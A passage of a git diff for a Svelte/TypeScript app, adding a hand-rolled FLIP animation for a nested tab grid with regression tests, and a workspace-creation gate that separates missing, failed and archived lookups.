+        // Regression: GSAP's Flip plugin cost ~430ms of main-thread work per
+        // close with ~40 nested tabs. The hand-rolled FLIP reads every element's
+        // box once before the change and once after — never per tween.
+        const { rerender } = render(TabList, { props: { ...props, tabs: grouped } });
+        const elements = document.querySelectorAll("[data-flip-id]").length;
+        const spy = vi.spyOn(Element.prototype, "getBoundingClientRect");
+        try {
+          await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "c2") });
+          // 2 per element + 1 host read per ghost (one ghost here: c2's card).
+          expect(spy.mock.calls.length).toBeLessThanOrEqual(2 * elements + 1);
+        } finally {
+          spy.mockRestore();
+        }
+      });
+
+      it("does not ghost anything when a subagent is summoned", async () => {
+        const base = grouped.filter((t) => ["p", "solo"].includes(t.conversationId));
+        const { rerender } = render(TabList, { props: { ...props, tabs: base } });
+        await rerender({ ...props, tabs: grouped });
+        expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+        expect(screen.getAllByRole("tab")).toHaveLength(grouped.length);
+        // New cards start fully clipped (0 visible height) and grow in from
+        // the top edge; once done no motion style is left behind.
+        const ids = ["c1", "c2", "g"];
+        for (const id of ids) expect(card(id).style.clipPath).toBe("inset(0% 0% 100% 0%)");
+        seekAnimations(1);
+        for (const id of ids) {
+          expect(card(id).style.clipPath).toBe("");
+          expect(card(id).style.transform).toBe("");
+        }
+      });
+    });
+
+    it("never animates when the user prefers reduced motion", async () => {
+      vi.stubGlobal(
+        "matchMedia",
+        vi.fn(() => ({ matches: true }) as unknown as MediaQueryList),
+      );
+      try {
+        const props = {
+          tabs: grouped,
+          activeConversationId: "p",
+          onSelect: vi.fn(),
+          onClose: vi.fn(),
+          onNewDraft: vi.fn(),
+        };
+        const { rerender } = render(TabList, { props });
+        await rerender({ ...props, tabs: grouped.filter((t) => t.conversationId !== "c2") });
+        expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+      } finally {
+        vi.unstubAllGlobals();
+      }
+    });
+
     it("keeps the parent wide while a nested descendant's own parent remains open", async () => {
       const props = {
         tabs: grouped,
diff --git a/src/features/tabs/ui/TabCard.svelte b/src/features/tabs/ui/TabCard.svelte
index a95f8e6..ae891c0 100644
--- a/src/features/tabs/ui/TabCard.svelte
+++ b/src/features/tabs/ui/TabCard.svelte
@@ -1,4 +1,5 @@
 <script lang="ts">
+  import { cardFlipId } from "../tab-flip";
   import type { Tab } from "../tabs";
 
   /**
@@ -115,6 +116,7 @@
   aria-selected={active}
   title={tab.title}
   data-conversation-id={tab.conversationId}
+  data-flip-id={cardFlipId(tab.conversationId)}
   data-wide={wide ? "true" : undefined}
   onclick={() => {
     if (suppressClick) {
diff --git a/src/features/tabs/ui/TabGroupBox.svelte b/src/features/tabs/ui/TabGroupBox.svelte
index a941814..5b644e0 100644
--- a/src/features/tabs/ui/TabGroupBox.svelte
+++ b/src/features/tabs/ui/TabGroupBox.svelte
@@ -1,7 +1,8 @@
 <script lang="ts">
   import type { Snippet } from "svelte";
   import type { TabGroupNode } from "../tab-groups";
-  import { groupBleedPx, lastRowIsGroup } from "../tab-groups";
+  import { groupFlipId } from "../tab-flip";
+  import { groupBleedPx, groupTone, lastRowIsGroup } from "../tab-groups";
   import type { Tab } from "../tabs";
   import TabGroupBox from "./TabGroupBox.svelte";
 
@@ -13,9 +14,13 @@
    * inside stay on the same two columns as top-level cards: every card keeps
    * identical dimensions at every depth. The padding is EQUAL on all four
    * sides (= the bleed) so the box looks even — except below a nested box on
-   * the last row, where it is trimmed to match that box's side gaps. Every
-   * box paints a 15% secondary (lavender) tint, which compounds: each
-   * nesting level reads a little stronger than the one around it.
+   * the last row, where it is trimmed to match that box's side gaps. Each
+   * box is tinted with one of three theme colours ROTATING by level
+   * (`groupTone`), painted OPAQUE (mixed into the sidebar well colour) so a
+   * nested box never blends with the box around it, plus a border in the same
+   * colour so every box edge reads at a glance. The tint lives on its own
+   * BACKDROP layer so the FLIP animation (`tab-flip.ts`) can fade a new
+   * group's tint in while its cards fly into place.
    */
   let {
     node,
@@ -32,6 +37,7 @@
   } = $props();
 
   const bleed = $derived(groupBleedPx(level, maxDepth));
+  const tone = $derived(groupTone(level));
   // Even spacing: when the last row is a nested box, the gap below it would
   // be this box's full padding while its side gaps are only the DIFFERENCE
   // in bleed (the nested box bleeds outward too) — trim the bottom to match.
@@ -41,15 +47,23 @@
 </script>
 
 <div
-  class="col-span-2 rounded-lg bg-secondary/15"
+  class="relative col-span-2"
   style:margin-inline="-{bleed}px"
   style:padding="{bleed}px {bleed}px {padBottom}px"
   role="group"
   aria-label={`Subagents of ${node.tab.title}`}
   data-tab-group={node.tab.conversationId}
   data-level={level}
+  data-tone={tone}
+  data-flip-id={groupFlipId(node.tab.conversationId)}
 >
-  <div class="grid grid-flow-row-dense grid-cols-2 gap-1.5">
+  <div
+    class="tab-group-backdrop pointer-events-none absolute inset-0 rounded-lg"
+    style:--group-tone="var(--color-{tone})"
+    data-group-backdrop
+    aria-hidden="true"
+  ></div>
+  <div class="relative grid grid-flow-row-dense grid-cols-2 gap-1.5">
     {@render card(node.tab, true, node.children.length)}
     {#each node.children as child (child.tab.conversationId)}
       {#if child.children.length > 0}
@@ -60,3 +74,17 @@
     {/each}
   </div>
 </div>
+
+<style>
+  /* Opaque tint: the tone mixed into the sidebar's `.inset-well` colour (the
+     surface the tab grid sits on), so nested boxes replace — never compound
+     with — the colour around them. */
+  .tab-group-backdrop {
+    background-color: color-mix(
+      in oklab,
+      var(--group-tone) 16%,
+      var(--inset-well-bg, var(--color-base-200))
+    );
+    box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--group-tone) 55%, transparent);
+  }
+</style>
diff --git a/src/features/tabs/ui/TabList.svelte b/src/features/tabs/ui/TabList.svelte
index 4b96e08..0493b5c 100644
--- a/src/features/tabs/ui/TabList.svelte
+++ b/src/features/tabs/ui/TabList.svelte
@@ -1,4 +1,6 @@
 <script lang="ts">
+  import { untrack } from "svelte";
+  import { forestFlipIds } from "../tab-flip";
   import {
     buildTabGroups,
     cascadeCloseIds,
@@ -13,6 +15,7 @@
   import TabCard from "./TabCard.svelte";
   import TabGroupBox from "./TabGroupBox.svelte";
   import TabMenu from "./TabMenu.svelte";
+  import { createTabFlip } from "./tab-flip";
 
   let {
     tabs,
@@ -53,6 +56,20 @@
   const forest = $derived(buildTabGroups(tabs));
   const gutter = $derived(groupGutterPx(forest.maxDepth));
 
+  // FLIP: a summoned subagent / closed tab / regroup animates (GSAP Flip).
+  // Capture positions (+ ghost leaving elements) BEFORE the DOM updates, play
+  // AFTER. Keyed on `forest` only; the DOM work itself is untracked.
+  let scrollerEl = $state<HTMLDivElement | undefined>();
+  const flip = createTabFlip(() => scrollerEl);
+  $effect.pre(() => {
+    const next = forestFlipIds(forest);
+    untrack(() => flip.capture(next));
+  });
+  $effect(() => {
+    void forest;
+    untrack(() => flip.play());
+  });
+
   // Tab menu (right-click / touch-and-hold). Local UI state owned here.
   let menu = $state<{ conversationId: string; x: number; y: number } | null>(null);
   const menuTab = $derived(
@@ -112,17 +129,18 @@
 {/snippet}
 
 <div class="flex flex-col gap-2">
-  <!-- 2-column grid of same-size tab cards, fixed at 40% of the viewport height
+  <!-- 2-column grid of same-size tab cards, fixed at 70% of the viewport height
        so a long tab set scrolls inside this region instead of growing the
        sidebar. Subagent groups span both columns; `dense` lets a later card
        fill the half-row a group would otherwise leave empty. -->
   <div
-    class="h-[40vh] overflow-y-auto py-0.5"
+    bind:this={scrollerEl}
+    class="relative h-[70vh] overflow-y-auto py-0.5"
     style:padding-inline="{gutter}px"
     data-tab-grid
     onscroll={() => (menu = null)}
   >
-    <div class="grid grid-flow-row-dense grid-cols-2 gap-1.5" role="tablist">
+    <div class="relative grid grid-flow-row-dense grid-cols-2 gap-1.5" role="tablist">
       {#each forest.roots as node (node.tab.conversationId)}
         {#if node.children.length > 0}
           <TabGroupBox {node} level={1} maxDepth={forest.maxDepth} {card} />
diff --git a/src/features/tabs/ui/tab-flip.ts b/src/features/tabs/ui/tab-flip.ts
new file mode 100644
index 0000000..ac9daaf
--- /dev/null
+++ b/src/features/tabs/ui/tab-flip.ts
@@ -0,0 +1,374 @@
+import { gsap } from "gsap";
+import { isGroupFlipId, leavingFlipIds } from "../tab-flip";
+
+/**
+ * FLIP animation for the tab grid — the DOM EFFECT half (the pure id scheme
+ * lives in `../tab-flip.ts`).
+ *
+ * Driven by the owning component in two calls:
+ *  - `capture(nextIds)` — BEFORE the DOM updates: measure every
+ *    `[data-flip-id]` element (First), and build an inert GHOST for each
+ *    element the next render drops (a closed tab / dissolved group box).
+ *  - `play()` — AFTER the DOM updates: measure again (Last), then run three
+ *    STAGGERED phases, each only when it has something to do —
+ *      1. SHRINK — ghosts collapse to 0 height (everything else holds still);
+ *      2. MOVE   — cards slide from their old box to their new one, and each
+ *                  group box's tint morphs from its old rect to its new one;
+ *      3. GROW   — new cards (and new group boxes' tints) grow from 0 height.
+ *
+ * PERFORMANCE: this is a hand-rolled FLIP, not GSAP's Flip plugin. Flip
+ * recorded computed styles per element and re-measured while building its
+ * timeline — ~430ms of main-thread work per close with ~40 nested tabs, which
+ * both delayed the click and swallowed the shrink phase. Here each change
+ * costs exactly two batched layout reads (one in `capture`, one in `play`);
+ * every write happens after its batch of reads. Each phase is ONE GSAP tween
+ * on a plain progress value whose `onUpdate` writes inline styles directly —
+ * GSAP never reads an element's computed style (per-element CSS tweens did,
+ * forcing a style recalc per moved card). Cards only TRANSLATE (plus a
+ * width tween when a card turns into / out of a double-width group parent);
+ * a group box never moves itself — only its absolutely-positioned, empty tint
+ * layer does (inset tween), so no card is ever double-translated.
+ *
+ * Like the sidebar panels (`layout/ui/panel-motion.ts`), shrink/grow change
+ * only a HEIGHT, clipped — contents keep their natural size. Grow is a
+ * `clip-path` reveal so the settled grid never shifts under it.
+ *
+ * Data-driven, not click-driven: it animates ANY change to the tab set (a
+ * summoned subagent, a close from another device, a regroup). Re-entrant —
+ * `capture` measures the in-flight VISUAL boxes, `play` clears in-flight
+ * motion before measuring the new layout. Disabled when the user prefers
+ * reduced motion (or the environment can't tell, e.g. jsdom).
+ */
+export interface TabFlip {
+  capture(nextIds: ReadonlySet<string>): void;
+  play(): void;
+}
+
+const SHRINK = 0.1;
+const MOVE = 0.1;
+const GROW = 0.1;
+/** Close: starts slow, finishes fast (accelerates away). */
+const SHRINK_EASE = "power2.in";
+/** Move: slow → fast → slow. */
+const MOVE_EASE = "power2.inOut";
+/** Open: starts fast, settles slowly (the mirror of close). */
+const GROW_EASE = "power2.out";
+const GHOST_ATTR = "data-tab-ghost";
+/** Fully clipped from the bottom edge up (0 visible height). */
+const CLIP_HIDDEN = "inset(0% 0% 100% 0%)";
+/** Every inline style this module may leave on a live element mid-flight. */
+const MOTION_PROPS = ["transform", "width", "clip-path", "top", "right", "bottom", "left"];
+
+interface Captured {
+  /** Visual box (incl. any in-flight motion) per flip id. Cards: the card; boxes: the tint. */
+  readonly rects: ReadonlyMap<string, DOMRect>;
+  /** Built but not yet started — their shrink starts in `play`. */
+  readonly ghosts: readonly HTMLElement[];
+}
+
+export function createTabFlip(getScroller: () => HTMLElement | undefined): TabFlip {
+  let captured: Captured | null = null;
+  /** Live elements carrying motion styles, so `play` can reset exactly those. */
+  const animating = new Set<HTMLElement>();
+  /** The running MOVE + GROW phase tweens (ghost shrinks run independently). */
+  let phases: gsap.core.Tween[] = [];
+
+  return {
+    capture(nextIds) {
+      captured = null;
+      const scroller = getScroller();
+      if (scroller === undefined || !motionAllowed()) return;
+      const els = flipElements(scroller);
+      if (els.length === 0) return;
+
+      // READS (one layout).
+      const rects = new Map<string, DOMRect>();
+      for (const el of els) rects.set(idOf(el), measureTarget(el).getBoundingClientRect());
+      const leaving = leavingFlipIds([...rects.keys()], nextIds);
+      const byId = new Map(els.map((el) => [idOf(el), el]));
+      const plans = leaving
+        .map((id) => byId.get(id))
+        .filter((el): el is HTMLElement => el !== undefined)
+        .map((el) => planGhost(scroller, el, rects.get(idOf(el))))
+        .filter((p): p is GhostPlan => p !== null);
+
+      // WRITES.
+      captured = { rects, ghosts: plans.map(insertGhost) };
+    },
+
+    play() {
+      const prev = captured;
+      captured = null;
+      const scroller = getScroller();
+      if (prev === null || scroller === undefined) return;
+
+      // Reset in-flight motion on live elements so the read below is the
+      // settled layout (their previous VISUAL boxes are already in `prev`).
+      for (const tween of phases) tween.kill();
+      phases = [];
+      for (const el of animating) clearMotion(el);
+      animating.clear();
+
+      // READS (one layout).
+      const next = flipElements(scroller).map((el) => {
+        const target = measureTarget(el);
+        return { target, id: idOf(el), rect: target.getBoundingClientRect() };
+      });
+
+      // Plan (pure arithmetic — no DOM access).
+      const entering: HTMLElement[] = [];
+      const movers: Mover[] = [];
+      for (const { target, id, rect } of next) {
+        const before = prev.rects.get(id);
+        if (before === undefined) entering.push(target);
+        else if (!sameBox(before, rect))
+          movers.push(planMove(target, isGroupFlipId(id), before, rect));
+      }
+      const moveAt = prev.ghosts.length > 0 ? SHRINK : 0;
+      const growAt = moveAt + (movers.length > 0 ? MOVE : 0);
+
+      // WRITES — first frame of every phase NOW (movers hold at their old
+      // boxes, new elements are fully clipped) so nothing flashes in between.
+      for (const m of movers) m.render(0);
+      for (const el of entering) el.style.clipPath = CLIP_HIDDEN;
+
+      // 1. SHRINK — one tween drives every ghost.
+      if (prev.ghosts.length > 0) {
+        const ghosts = prev.ghosts.map((g) => ({ g, h: Number.parseFloat(g.style.height) }));
+        gsap.to(
+          { p: 0 },
+          {
+            p: 1,
+            duration: SHRINK,
+            ease: SHRINK_EASE,
+            onUpdate(this: gsap.core.Tween) {
+              const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+              for (const { g, h } of ghosts) g.style.height = `${h * (1 - p)}px`;
+            },
+            onComplete: () => {
+              for (const { g } of ghosts) g.remove();
+            },
+          },
+        );
+      }
+
+      // 2. MOVE — one tween drives every card slide + tint morph.
+      if (movers.length > 0) {
+        for (const m of movers) animating.add(m.el);
+        phases.push(
+          gsap.to(
+            { p: 0 },
+            {
+              p: 1,
+              duration: MOVE,
+              delay: moveAt,
+              ease: MOVE_EASE,
+              onUpdate(this: gsap.core.Tween) {
+                const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+                for (const m of movers) m.render(p);
+              },
+              onComplete: () => {
+                for (const m of movers) {
+                  clearMotion(m.el);
+                  animating.delete(m.el);
+                }
+              },
+            },
+          ),
+        );
+      }
+
+      // 3. GROW — one tween reveals every new card / tint from its top edge.
+      if (entering.length > 0) {
+        for (const el of entering) animating.add(el);
+        phases.push(
+          gsap.to(
+            { p: 0 },
+            {
+              p: 1,
+              duration: GROW,
+              delay: growAt,
+              ease: GROW_EASE,
+              onUpdate(this: gsap.core.Tween) {
+                const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+                const clip = `inset(0% 0% ${(1 - p) * 100}% 0%)`;
+                for (const el of entering) el.style.clipPath = clip;
+              },
+              onComplete: () => {
+                for (const el of entering) {
+                  clearMotion(el);
+                  animating.delete(el);
+                }
+              },
+            },
+          ),
+        );
+      }
+    },
+  };
+}
+
+interface Mover {
+  readonly el: HTMLElement;
+  /** Write the element's styles at move progress `p` (0 = old box, 1 = home). */
+  render(p: number): void;
+}
+
+/**
+ * A card slides (and, when it turned into / out of a double-width group
+ * parent, resizes) from its old box; a group tint morphs its insets from its
+ * old rect. Both end at their natural layout (`p = 1` ⇒ zero offsets).
+ */
+function planMove(el: HTMLElement, isTint: boolean, from: DOMRect, to: DOMRect): Mover {
+  if (isTint) {
+    const top = from.top - to.top;
+    const left = from.left - to.left;
+    const right = to.right - from.right;
+    const bottom = to.bottom - from.bottom;
+    return {
+      el,
+      render(p) {
+        const k = 1 - p;
+        el.style.top = `${top * k}px`;
+        el.style.left = `${left * k}px`;
+        el.style.right = `${right * k}px`;
+        el.style.bottom = `${bottom * k}px`;
+      },
+    };
+  }
+  const dx = from.left - to.left;
+  const dy = from.top - to.top;
+  const resized = Math.abs(from.width - to.width) >= 0.5;
+  return {
+    el,
+    render(p) {
+      const k = 1 - p;
+      el.style.transform = `translate(${dx * k}px, ${dy * k}px)`;
+      if (resized) el.style.width = `${to.width + (from.width - to.width) * k}px`;
+    },
+  };
+}
+
+function clearMotion(el: HTMLElement): void {
+  for (const prop of MOTION_PROPS) el.style.removeProperty(prop);
+}
+
+function motionAllowed(): boolean {
+  return (
+    typeof window.matchMedia === "function" &&
+    !window.matchMedia("(prefers-reduced-motion: reduce)").matches
+  );
+}
+
+function flipElements(scroller: HTMLElement): HTMLElement[] {
+  return [...scroller.querySelectorAll<HTMLElement>("[data-flip-id]")];
+}
+
+function idOf(el: HTMLElement): string {
+  return el.dataset.flipId ?? "";
+}
+
+/** What VISUALLY represents a flip element: a card itself, a group box's tint. */
+function measureTarget(el: HTMLElement): HTMLElement {
+  if (!isGroupFlipId(idOf(el))) return el;
+  return el.querySelector<HTMLElement>(":scope > [data-group-backdrop]") ?? el;
+}
+
+/** Whether two rects are the same box (sub-pixel tolerance). */
+function sameBox(a: DOMRect, b: DOMRect): boolean {
+  const close = (x: number, y: number) => Math.abs(x - y) < 0.5;
+  return (
+    close(a.left, b.left) &&
+    close(a.top, b.top) &&
+    close(a.width, b.width) &&
+    close(a.height, b.height)
+  );
+}
+
+interface GhostPlan {
+  readonly source: HTMLElement;
+  readonly host: HTMLElement;
+  readonly isGroup: boolean;
+  readonly left: number;
+  readonly top: number;
+  readonly width: number;
+  readonly height: number;
+}
+
+/**
+ * READ half of a ghost: where an inert copy of a leaving element must sit.
+ *
+ * Paint order matters (cards are `relative`, so everything here stacks in DOM
+ * order): a leaving CARD's ghost goes on the scroller, ON TOP of the grid. A
+ * leaving GROUP BOX copies only its tint and goes FIRST in the box's
+ * enclosing grid: above the enclosing box's own tint, but BELOW every card.
+ */
+function planGhost(
+  scroller: HTMLElement,
+  el: HTMLElement,
+  rect: DOMRect | undefined,
+): GhostPlan | null {
+  const isGroup = isGroupFlipId(idOf(el));
+  const source = measureTarget(el);
+  const host = isGroup ? el.parentElement : scroller;
+  if (host === null || rect === undefined || (isGroup && source === el)) return null;
+  const h = host.getBoundingClientRect();
+  return {
+    source,
+    host,
+    isGroup,
+    left: rect.left - h.left - host.clientLeft + host.scrollLeft,
+    top: rect.top - h.top - host.clientTop + host.scrollTop,
+    width: rect.width,
+    height: rect.height,
+  };
+}
+
+/**
+ * WRITE half of a ghost: a clipping frame (whose height later shrinks to 0)
+ * around a full-size copy — only the frame animates, the copy never resizes.
+ */
+function insertGhost(plan: GhostPlan): HTMLElement {
+  const copy = plan.source.cloneNode(!plan.isGroup) as HTMLElement;
+  // A ghost is never a tab/group to queries, tests or assistive tech.
+  for (const node of [copy, ...copy.querySelectorAll<HTMLElement>("*")]) {
+    for (const attr of [
+      "data-flip-id",
+      "data-conversation-id",
+      "data-group-backdrop",
+      "role",
+      "id",
+    ]) {
+      node.removeAttribute(attr);
+    }
+  }
+  Object.assign(copy.style, {
+    position: "absolute",
+    inset: "auto",
+    left: "0",
+    top: "0",
+    width: `${plan.width}px`,
+    height: `${plan.height}px`,
+    margin: "0",
+    transform: "none",
+    clipPath: "none",
+  });
+  const ghost = document.createElement("div");
+  ghost.setAttribute(GHOST_ATTR, "");
+  ghost.setAttribute("aria-hidden", "true");
+  ghost.inert = true;
+  Object.assign(ghost.style, {
+    position: "absolute",
+    left: `${plan.left}px`,
+    top: `${plan.top}px`,
+    width: `${plan.width}px`,
+    height: `${plan.height}px`,
+    overflow: "hidden",
+    pointerEvents: "none",
+    zIndex: plan.isGroup ? "auto" : "2",
+  });
+  ghost.appendChild(copy);
+  if (plan.isGroup) plan.host.prepend(ghost);
+  else plan.host.appendChild(ghost);
+  return ghost;
+}
diff --git a/src/features/workspaces/adapter/http.test.ts b/src/features/workspaces/adapter/http.test.ts
index 2e34822..d6409ca 100644
--- a/src/features/workspaces/adapter/http.test.ts
+++ b/src/features/workspaces/adapter/http.test.ts
@@ -79,15 +79,37 @@ describe("createWorkspaceHttp", () => {
     expect(result).toEqual({ ok: false, error: "invalid slug" });
   });
 
-  it("get returns null on 404", async () => {
+  it("get reports a missing lookup on 404", async () => {
     const http = createWorkspaceHttp(BASE, fakeFetch([{ status: 404 }]));
-    expect(await http.get("nope")).toBeNull();
+    expect(await http.get("nope")).toEqual({ kind: "missing" });
   });
 
   it("get returns the workspace on 200", async () => {
-    const ws = { id: "x", title: "X", defaultCwd: "/home", createdAt: 1, lastActivityAt: 2 };
+    const ws = {
+      id: "x",
+      title: "X",
+      defaultCwd: "/home",
+      defaultComputerId: null,
+      starred: false,
+      archived: false,
+      createdAt: 1,
+      lastActivityAt: 2,
+    };
     const http = createWorkspaceHttp(BASE, fakeFetch([{ body: ws }]));
-    expect(await http.get("x")).toEqual(ws);
+    expect(await http.get("x")).toEqual({ kind: "found", workspace: ws });
+  });
+
+  it("get distinguishes a failed response from 404 (not 'missing')", async () => {
+    const http = createWorkspaceHttp(
+      BASE,
+      fakeFetch([{ status: 500, body: { error: "db down" } }]),
+    );
+    expect(await http.get("x")).toEqual({ kind: "failed", error: "db down" });
+  });
+
+  it("get reports a network error as failed (not 'missing')", async () => {
+    const http = createWorkspaceHttp(BASE, fakeFetch([new Error("network")]));
+    expect(await http.get("x")).toEqual({ kind: "failed", error: "network" });
   });
 
   it("setTitle PUTs the title", async () => {
diff --git a/src/features/workspaces/adapter/http.ts b/src/features/workspaces/adapter/http.ts
index de95a61..3f7f058 100644
--- a/src/features/workspaces/adapter/http.ts
+++ b/src/features/workspaces/adapter/http.ts
@@ -9,6 +9,7 @@ import type {
   WorkspaceListResponse,
   WorkspaceResponse,
 } from "@dispatch/transport-contract";
+import type { WorkspaceLookup } from "../logic/create";
 
 /**
  * Workspace HTTP effects — the injected edge that talks to the backend's
@@ -21,7 +22,7 @@ import type {
  * Endpoints ([email protected]):
  * - `GET /workspaces` (optional `?archived=true|false|all`, default `false` = active only) → list
  * - `PUT /workspaces/:id` (create-on-miss, idempotent) → ensure
- * - `GET /workspaces/:id` (404 → null) → get
+ * - `GET /workspaces/:id` (found | 404-missing | failed) → get
  * - `PUT /workspaces/:id/title` → rename
  * - `PUT /workspaces/:id/default-cwd` → set/clear default cwd
  * - `PUT /workspaces/:id/default-computer` → set/clear default computer (SSH handoff #2)
@@ -41,7 +42,12 @@ export type WorkspaceArchivedFilter = "true" | "false" | "all";
 export interface WorkspaceHttp {
   list(archived?: WorkspaceArchivedFilter): Promise<readonly WorkspaceEntry[]>;
   ensure(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
-  get(id: string): Promise<Workspace | null>;
+  /**
+   * Authoritative existence probe. 404 → `missing`, a network/server failure →
+   * `failed` (distinct on purpose: the create gate must not treat a broken
+   * check as "doesn't exist"), 200 → the workspace (`found`).
+   */
+  get(id: string): Promise<WorkspaceLookup>;
   setTitle(id: string, title: string): Promise<WorkspaceResult<Workspace>>;
   setDefaultCwd(id: string, defaultCwd: string | null): Promise<WorkspaceResult<Workspace>>;
   setDefaultComputer(id: string, computerId: string | null): Promise<WorkspaceResult<Workspace>>;
@@ -96,13 +102,17 @@ export function createWorkspaceHttp(httpBase: string, fetchImpl: typeof fetch):
       }
     },
 
-    async get(id): Promise<Workspace | null> {
+    async get(id): Promise<WorkspaceLookup> {
       try {
         const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(id)}`);
-        if (res.status === 404 || !res.ok) return null;
-        return (await res.json()) as WorkspaceResponse;
-      } catch {
-        return null;
+        if (res.status === 404) return { kind: "missing" };
+        if (!res.ok) return { kind: "failed", error: await errText(res) };
+        return { kind: "found", workspace: (await res.json()) as WorkspaceResponse };
+      } catch (err) {
+        return {
+          kind: "failed",
+          error: err instanceof Error ? err.message : "Workspace lookup failed",
+        };
       }
     },
 
diff --git a/src/features/workspaces/index.ts b/src/features/workspaces/index.ts
index 1a60bb7..c7f57d5 100644
--- a/src/features/workspaces/index.ts
+++ b/src/features/workspaces/index.ts
@@ -1,6 +1,12 @@
 export type { WorkspaceHttp, WorkspaceResult } from "./adapter/http";
 export { createWorkspaceHttp } from "./adapter/http";
 export { createTileLayoutHttp, type TileLayoutHttp } from "./adapter/tile-layout-http";
+export type { CreateGate, WorkspaceLookup } from "./logic/create";
+export {
+  archivedCreateMessage,
+  checkFailedCreateMessage,
+  gateCreate,
+} from "./logic/create";
 export type {
   DragEmit,
   DragEvent as DragControllerEvent,
diff --git a/src/features/workspaces/logic/create.test.ts b/src/features/workspaces/logic/create.test.ts
new file mode 100644
index 0000000..278bcd6
--- /dev/null
+++ b/src/features/workspaces/logic/create.test.ts
@@ -0,0 +1,50 @@
+import type { Workspace } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import {
+  archivedCreateMessage,
+  checkFailedCreateMessage,
+  gateCreate,
+  type WorkspaceLookup,
+} from "./create";
+
+function workspace(overrides: Partial<Workspace> = {}): Workspace {
+  return {
+    id: "old",
+    title: "Old",
+    defaultCwd: null,
+    defaultComputerId: null,
+    starred: false,
+    archived: false,
+    createdAt: 1,
+    lastActivityAt: 2,
+    ...overrides,
+  };
+}
+
+describe("gateCreate", () => {
+  it("blocks a slug whose workspace is archived, with the can't-create message", () => {
+    const lookup: WorkspaceLookup = { kind: "found", workspace: workspace({ archived: true }) };
+    const gate = gateCreate("old", lookup);
+    expect(gate).toEqual({ ok: false, error: archivedCreateMessage("old") });
+    expect(gate.ok === false && gate.error).toContain(
+      'A workspace named "old" already exists and is archived — you can\'t create it.',
+    );
+  });
+
+  it("proceeds for an existing ACTIVE workspace (ensure is idempotent)", () => {
+    const lookup: WorkspaceLookup = { kind: "found", workspace: workspace({ archived: false }) };
+    expect(gateCreate("old", lookup)).toEqual({ ok: true });
+  });
+
+  it("proceeds for a missing slug", () => {
+    expect(gateCreate("fresh", { kind: "missing" })).toEqual({ ok: true });
+  });
+
+  it("blocks when the existence probe failed (never guesses)", () => {
+    const gate = gateCreate("maybe", { kind: "failed", error: "db down" });
+    expect(gate).toEqual({ ok: false, error: checkFailedCreateMessage("maybe", "db down") });
+    expect(gate.ok === false && gate.error).toContain(
+      'Couldn\'t check whether a workspace named "maybe"',
+    );
+  });
+});
diff --git a/src/features/workspaces/logic/create.ts b/src/features/workspaces/logic/create.ts
new file mode 100644
index 0000000..c9385e1
--- /dev/null
+++ b/src/features/workspaces/logic/create.ts
@@ -0,0 +1,64 @@
+/**
+ * Pure create-gate logic for the New-workspace form — zero DOM, zero effects.
+ *
+ * `PUT /workspaces/:id` (ensure) is idempotent, so creating a slug that belongs
+ * to an ARCHIVED workspace would silently "succeed": the backend returns the
+ * archived workspace, the active list (which excludes archived) never shows it,
+ * and the home grid would still place a tile for something invisible. The
+ * frontend therefore probes `GET /workspaces/:id` first and refuses the create
+ * when the slug exists and is archived.
+ */
+
+import type { Workspace } from "@dispatch/wire";
+
+/**
+ * The authoritative existence probe's outcome (`GET /workspaces/:id`). The
+ * adapter maps HTTP status to these kinds; `failed` is deliberately distinct
+ * from `missing` (404) so a broken check is never mistaken for "no such
+ * workspace".
+ */
+export type WorkspaceLookup =
+  | { readonly kind: "found"; readonly workspace: Workspace }
+  | { readonly kind: "missing" }
+  | { readonly kind: "failed"; readonly error: string };
+
+/** Whether a create may proceed: `ok` or a user-facing error message. */
+export type CreateGate = { readonly ok: true } | { readonly ok: false; readonly error: string };
+
+/**
+ * The user-facing message when a slug belongs to an archived workspace. It
+ * states plainly that the create can't happen and points at the existing
+ * recovery affordance (the Archived workspaces list) without adding UI.
+ */
+export function archivedCreateMessage(id: string): string {
+  return `A workspace named "${id}" already exists and is archived — you can't create it. Unarchive it from Archived workspaces instead.`;
+}
+
+/**
+ * The user-facing message when the existence probe itself failed. Proceeding
+ * blindly could recreate the silent archived-tile bug, so the create is
+ * refused with a retryable message instead.
+ */
+export function checkFailedCreateMessage(id: string, error: string): string {
+  return `Couldn't check whether a workspace named "${id}" already exists (${error}). Try again.`;
+}
+
+/**
+ * Decide whether a create may proceed, given the probe outcome. Pure:
+ * `(id, lookup) → gate`.
+ *
+ * - archived slug → blocked with the "can't create" message;
+ * - missing slug or an ACTIVE existing slug → proceed (`ensure` is idempotent,
+ *   so an active slug keeps today's behavior);
+ * - a failed probe → blocked too (plan §3.4): never guess, because proceeding
+ *   could ensure an archived workspace's tile.
+ */
+export function gateCreate(id: string, lookup: WorkspaceLookup): CreateGate {
+  if (lookup.kind === "failed") {
+    return { ok: false, error: checkFailedCreateMessage(id, lookup.error) };
+  }
+  if (lookup.kind === "found" && lookup.workspace.archived) {
+    return { ok: false, error: archivedCreateMessage(id) };
+  }
+  return { ok: true };
+}
diff --git a/src/features/workspaces/store.svelte.ts b/src/features/workspaces/store.svelte.ts
index 57e34b2..b9b646b 100644
--- a/src/features/workspaces/store.svelte.ts
+++ b/src/features/workspaces/store.svelte.ts
@@ -1,6 +1,7 @@
 import type { EnsureWorkspaceRequest } from "@dispatch/transport-contract";
 import type { Workspace, WorkspaceEntry } from "@dispatch/wire";
 import type { WorkspaceHttp, WorkspaceResult } from "./adapter/http";
+import { gateCreate } from "./logic/create";
 import { applyArchived, applyStarred, sortWorkspaces } from "./logic/view-model";
 
 /**
@@ -27,6 +28,14 @@ export interface WorkspaceStore {
   refreshArchived(): Promise<void>;
   /** `PUT /workspaces/:id` (create-on-miss). Returns the workspace or an error. */
   ensure(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
+  /**
+   * Create a workspace via the New-workspace flow. Probes `GET /workspaces/:id`
+   * first and refuses a slug that belongs to an ARCHIVED workspace (the
+   * idempotent `ensure` would otherwise silently resurrect an invisible tile).
+   * A failed probe is refused too (see `gateCreate`). On success it falls
